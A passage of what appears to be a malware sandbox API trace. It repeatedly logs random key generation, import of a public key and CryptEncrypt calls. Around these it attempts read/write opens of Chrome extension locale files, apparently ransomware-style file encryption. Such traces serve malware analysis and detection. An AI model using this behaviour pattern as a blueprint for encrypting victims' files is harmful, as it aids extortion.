dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af178) returned 1 [0241.530] CryptGetKeyParam (in: hKey=0x66af178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.530] CryptEncrypt (in: hKey=0x66af178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xac50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.530] GetLastError () returned 0x0 [0241.530] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.530] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.531] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.536] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.536] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.540] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.540] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.540] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.542] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af0f8) returned 1 [0241.542] CryptGetKeyParam (in: hKey=0x66af0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.542] CryptEncrypt (in: hKey=0x66af0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xac60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.542] GetLastError () returned 0x0 [0241.542] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.542] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.544] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af1b8) returned 1 [0241.544] CryptGetKeyParam (in: hKey=0x66af1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.544] CryptEncrypt (in: hKey=0x66af1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xac70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.544] GetLastError () returned 0x0 [0241.544] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.544] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.545] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.549] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.549] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.550] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.552] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.553] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.553] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.553] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.554] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.556] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af378) returned 1 [0241.556] CryptGetKeyParam (in: hKey=0x66af378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.556] CryptEncrypt (in: hKey=0x66af378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xac80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.556] GetLastError () returned 0x0 [0241.556] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.556] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.559] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af0b8) returned 1 [0241.559] CryptGetKeyParam (in: hKey=0x66af0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.559] CryptEncrypt (in: hKey=0x66af0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xac90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xac90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.560] GetLastError () returned 0x0 [0241.560] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.560] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.561] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.563] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.565] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.565] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.565] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.565] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.569] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.569] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.572] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af3f8) returned 1 [0241.572] CryptGetKeyParam (in: hKey=0x66af3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.572] CryptEncrypt (in: hKey=0x66af3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaca0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xaca0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.572] GetLastError () returned 0x0 [0241.572] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.572] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.574] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af2f8) returned 1 [0241.574] CryptGetKeyParam (in: hKey=0x66af2f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.574] CryptEncrypt (in: hKey=0x66af2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xacb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.574] GetLastError () returned 0x0 [0241.574] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.574] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.575] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.581] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.581] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.581] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.585] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.585] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.585] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.587] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af278) returned 1 [0241.588] CryptGetKeyParam (in: hKey=0x66af278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.588] CryptEncrypt (in: hKey=0x66af278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xacc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.588] GetLastError () returned 0x0 [0241.588] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.588] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.589] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af4f8) returned 1 [0241.590] CryptGetKeyParam (in: hKey=0x66af4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.590] CryptEncrypt (in: hKey=0x66af4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xacd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.590] GetLastError () returned 0x0 [0241.590] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.590] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.590] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0241.593] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.595] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.596] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.596] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.596] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.600] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.600] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.600] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0241.602] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af538) returned 1 [0241.602] CryptGetKeyParam (in: hKey=0x66af538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.602] CryptEncrypt (in: hKey=0x66af538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xace0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xace0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.602] GetLastError () returned 0x0 [0241.602] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.602] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0241.604] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af6f8) returned 1 [0241.604] CryptGetKeyParam (in: hKey=0x66af6f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.604] CryptEncrypt (in: hKey=0x66af6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacf0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xacf0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.605] GetLastError () returned 0x0 [0241.605] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.605] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.605] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.610] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.610] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.614] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.614] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.614] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.618] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af578) returned 1 [0241.618] CryptGetKeyParam (in: hKey=0x66af578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.618] CryptEncrypt (in: hKey=0x66af578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xad00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.618] GetLastError () returned 0x0 [0241.618] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.618] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.620] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af5b8) returned 1 [0241.620] CryptGetKeyParam (in: hKey=0x66af5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.620] CryptEncrypt (in: hKey=0x66af5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xad10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.620] GetLastError () returned 0x0 [0241.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.620] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.621] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.624] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.626] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0241.626] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.626] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0241.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.630] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.630] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0241.630] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.630] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.632] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af238) returned 1 [0241.632] CryptGetKeyParam (in: hKey=0x66af238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.632] CryptEncrypt (in: hKey=0x66af238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xad20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0241.633] GetLastError () returned 0x0 [0241.633] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.633] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0241.635] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66af638) returned 1 [0241.635] CryptGetKeyParam (in: hKey=0x66af638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0241.635] CryptEncrypt (in: hKey=0x66af638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xad30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xad30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0241.635] GetLastError () returned 0x0 [0241.635] CryptReleaseContext (hProv=0x5c4760, 